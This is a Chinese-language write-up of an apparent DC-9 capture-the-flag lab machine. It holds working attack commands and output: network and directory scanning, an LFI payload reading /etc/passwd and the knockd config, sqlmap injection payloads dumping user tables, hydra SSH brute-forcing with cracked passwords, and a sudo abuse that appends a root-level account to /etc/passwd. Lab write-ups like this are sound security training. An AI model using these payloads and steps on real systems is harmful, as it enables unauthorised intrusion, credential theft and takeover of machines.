端口
nmap主机发现
nmap -sn 192.168.45.0/24 Nmap scan report for 192.168.45.116 Host is up (0.00020s latency). 116是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn 192.168.45.116 --min-rate 10000 -oA nmap/scan 扫描开放端口保存到 nmap/scan下 PORT STATE SERVICE 22/tcp filtered ssh 80/tcp open http 发现开放两个端口,但是ssh被防火墙阻拦
nmap -sT -sC -sV -O -p22,80 -oA nmap/scan 192.168.45.116 详细端口扫描: -sT:完整tcp连接 -sC:默认脚本扫描 -sV:服务版本探测 -O:系统信息探测 探测结果没有什么有用的,不放出来了,唯一有用的是apache version:2.4.38
立足点
网站信息收集:目录扫描
看到网站主页是include.php gobuster扫描加上后缀 gobuster dir -u http://192.168.45.116/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-small.txt -x php,html --add-slash 扫描结果 /.php/ (Status: 403) [Size: 279] /index.php/ (Status: 200) [Size: 917] /.html/ (Status: 403) [Size: 279] /search.php/ (Status: 200) [Size: 1091] /icons/ (Status: 403) [Size: 279] /welcome.php/ (Status: 302) [Size: 0] [--> manage.php] /results.php/ (Status: 200) [Size: 1056] /display.php/ (Status: 200) [Size: 2961] /css/ (Status: 200) [Size: 933] /includes/ (Status: 200) [Size: 747] /logout.php/ (Status: 302) [Size: 0] [--> manage.php] /config.php/ (Status: 200) [Size: 0] /manage.php/ (Status: 200) [Size: 1210] /session.php/ (Status: 302) [Size: 0] [--> manage.php] /.php/ (Status: 403) [Size: 279] /.html/ (Status: 403) [Size: 279] 进入网址:http://192.168.45.116/session.php/ 后如下图,说明已经以admin身份登录,但此时重定向到manage.php 能交互的窗口只有search 能收集到的信息只有File does not exist
web漏洞探测(lfi漏洞发现)
看到File does not exist,是否服务器在本地读取了什么文件,采用常用方式传递参数?file=../../../../../../../etc/passwd,发现本地文件包含lfi漏洞,能读取服务器敏感文件/etc/passwd
因为ssh端口被过滤,看看是否能够通过knock命令控制防火墙让ssh端口开放不被过滤
首先要查看knock的配置文件,寻找服务器对knock的配置,其配置存放在/etc/knockd下,通过lfi漏洞查看
访问http://192.168.45.116/manage.php?file=../../../../../../../etc/knockd.conf 查看到 [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn 解析配置 按7469,8475,9842顺序knock端口会触发开放ssh命令 按9842,8475,7469顺序knock端口会触发过滤ssh命令
port knocking是服务器管理防火墙的一种方式,它以十分隐秘的方式让特定人员对服务器进行配置 如上的场景是管理员通过隐秘的方式控制着ssh端口的防火墙状态
sql注入漏洞的发现和利用
利用以上漏洞后,发现除了search没有其他可交互的地方(如下图),尝试sql注入
sqlmap尝试扫一下,利用burpsuit抓包,通过文件扫描,以下是raj文件
POST /results.php HTTP/1.1 Host: 192.168.45.116 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 9 Origin: http://192.168.45.116 Connection: close Referer: http://192.168.45.116/search.php Cookie: PHPSESSID=40596pdfu8ifkv0msqcfhcos5p Upgrade-Insecure-Requests: 1 search=gf
开始跑sqlmap,一下就扫出来
sqlmap -r raj --dbs --batch 解析: -r:指定文件 --dbs:如果可以注入,枚举出所有的库 --batch:选择不交互,按默认选项扫描 漏洞: --- Parameter: search (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: search=gf' AND (SELECT 6473 FROM (SELECT(SLEEP(5)))sevG) AND 'tOZA'='tOZA Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: search=gf' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x717a767871,0x544a5975436e77545a697767774e66534f7a6c437951536f43436453667478586d55756c775a754e,0x717a627071),NULL-- - --- 版本信息: web server operating system: Linux Debian 10 (buster) web application technology: Apache 2.4.38 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) 数据库: available databases [3]: [*] information_schema [*] Staff [*] users
查询 staff 和 users数据库所有信息
sqlmap -r raj -D Staff --dump-all --batch sqlmap -r raj -D users --dump-all --batch 有users表的信息和Staff表的信息 users表: +--------+----------------------------------+----------+ | UserID | Password | Username | +--------+----------------------------------+----------+ | 1 | 856f5de590ef37314e7c3bdf6f8a66dc | admin | +--------+----------------------------------+----------+ md5解密找到admin密码,不过已经不重要因为我们之前已经用admin登陆了
将所有Staff表信息复制到all-users中,如下图
收集所有密码和用户分别到passwd.txt中和username.txt中,方便hydra的ssh爆破
cat all_users | awk -F '|' {'print$4'} | awk -F ' ' {'print$1'} > passwd.txt cat all_users | awk -F '|' {'print$6'} | awk -F ' ' {'print$1'} > username.txt
hydra爆破
hydra -L username.txt -P passwd.txt 192.168.45.116 ssh 发现3个用户可以登录 [22][ssh] host: 192.168.45.116 login: chandlerb password: UrAG0D! [22][ssh] host: 192.168.45.116 login: joeyt password: Passw0rd [22][ssh] host: 192.168.45.116 login: janitor password: Ilovepeepee
提权
依次登录三个用户,都不能使用sudo -l 和 suid提权 但是看见janitor用户的目录下有隐藏文件 janitor@dc-9:~$ ls -la total 16 drwx------ 4 janitor janitor 4096 Sep 7 14:08 . drwxr-xr-x 19 root root 4096 Dec 29 2019 .. lrwxrwxrwx 1 janitor janitor 9 Dec 29 2019 .bash_history -> /dev/null drwx------ 3 janitor janitor 4096 Sep 7 14:08 .gnupg drwx------ 2 janitor janitor 4096 Dec 29 2019 .secrets-for-putin 打开.secrets-for-putin目录发现存放另外密码的文件 -rwx------ 1 janitor janitor 66 Dec 29 2019 passwords-found-on-post-it-notes.txt
拷贝新的密码文件到kali再一次爆破(这里将这个文件重命名为new-passwd)
hydra -L username.txt -P new-passwd 192.168.45.116 ssh 爆破出新用户 [22][ssh] host: 192.168.45.116 login: fredf password: B4-Tru3-001
ssh登录探测此用户的权限
发现此用户可以使用sudo -l Matching Defaults entries for fredf on dc-9: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User fredf may run the following commands on dc-9: (root) NOPASSWD: /opt/devstuff/dist/test/test
能够以root权限调用/opt/devstuff/dist/test/test文件,允许一下
fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test Usage: python test.py read append 提示说使用test.py进行read操作,推测test调用了test.py strings /opt/devstuff/dist/test/test | grep Usage 扫描test文件发现没有Usage: python test.py read append字符串,说明确实是调用了外部test.py脚本
查询test.py脚本,并观看内容
find / -type f -name test.py 2>/dev/null /opt/devstuff/test.py /usr/lib/python3/dist-packages/setuptools/command/test.py cat /opt/devstuff/test.py 内容如下: #!/usr/bin/python import sys if len (sys.argv) != 3 : print ("Usage: python test.py read append") sys.exit (1) else : f = open(sys.argv[1], "r") output = (f.read()) f = open(sys.argv[2], "a") f.write(output) f.close() 解析: python脚本读取一个文件后写入指定路径:test.py [read file] [write_file] 使用test调用时:test [read file] [write_file]
sudo利用
使用sudo调用test,test又调用脚本test.py,test.py也具有了root权限(在root进程中) test.py的作用是覆盖文件,那么我们构造/etc/passwd恶意文件并覆盖原有的恶意文件我们就能以恶意用户登录 创建一个用户(hack用户,hack123密码) openssl passwd -1 -salt hack hack123 密码hash后:$1$hack$WTn0dk2QjNeKfl.DHOUue0 构造恶意登录凭据和恶意/etc/passwd文件 cat /etc/passwd > /tmp/passwd echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root:/bin/bash' >> /tmp/passwd # 将hack加入root组 备份源文件 cat /etc/passwd > /etc/passwd.tmp 恶意文件覆盖源文件 sudo test /tmp/passwd /etc/passwd
使用hack用户登录
ssh hack@192.168.45.116 password:hack123 root权限